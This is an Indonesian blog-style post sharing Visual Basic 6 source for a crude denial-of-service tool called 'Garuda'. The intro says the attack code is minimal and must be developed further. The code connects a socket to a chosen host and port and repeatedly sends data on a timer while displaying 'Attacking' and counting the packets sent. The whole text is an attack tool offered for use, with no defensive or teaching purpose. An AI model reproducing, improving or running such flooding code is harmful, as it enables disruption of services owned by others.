Kode Sederhana Ddos Visual B6

Kode serangan ini hanya 0,5% saja (Sangat minim), sehingga wajib untuk dikembangkan...
ini adalah sampel sederhana kode berbasis visual B

'START CODE
'==========>

'#Additional Ops
Dim Ready As Boolean

Private Sub Form_Load()
    Ready = True
End Sub

Private Sub Form_Unload(Cancel As Integer)
    SocK.Close
    End
End Sub

Private Sub SocK_Close()
    lblStatus.Caption = "Garuda Status: Disconnected"
End Sub

Private Sub SocK_Connect()
    lblStatus.Caption = "Garuda Status: Connected"
    Timer.Enabled = True
End Sub

Private Sub SocK_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
    SocK.Close
    lblStatus.Caption = "Garuda Status : Sock Error"
End Sub

Private Sub SocK_SendComplete()
Ready = True
End Sub

Private Sub txtStart_Click()
    txtHost.Text = Replace(txtHost.Text, "http://", "")
    SocK.Close
    SocK.Connect txtHost, txtPort
    lblStatus.Caption = "Garuda Status : Connecting"
    txtHost.Enabled = False
    txtPort.Enabled = False
End Sub

Private Sub txtStop_Click()
    Timer.Enabled = False
    SocK.Close
    lblStatus.Caption = "Garuda Status : Disconnected"
    txtHost.Enabled = True
    txtPort.Enabled = True
End Sub

Private Sub Timer_Timer()
    If SocK.State <> 0 Then
        If lblStatus = "Garuda Status : Attacking" Then
                If Ready = True Then
                    SocK.SendData txtData.Text
                    lblSent.Caption = lblSent.Caption + 1
                    Ready = False
                End If
        Else
            lblStatus = "Garuda Status : Attacking"
        End If
    Else
        lblStatus.Caption = "Garuda Status : Disconnected"
        Timer.Enabled = False
    End If
End Sub

'End Code
'=================>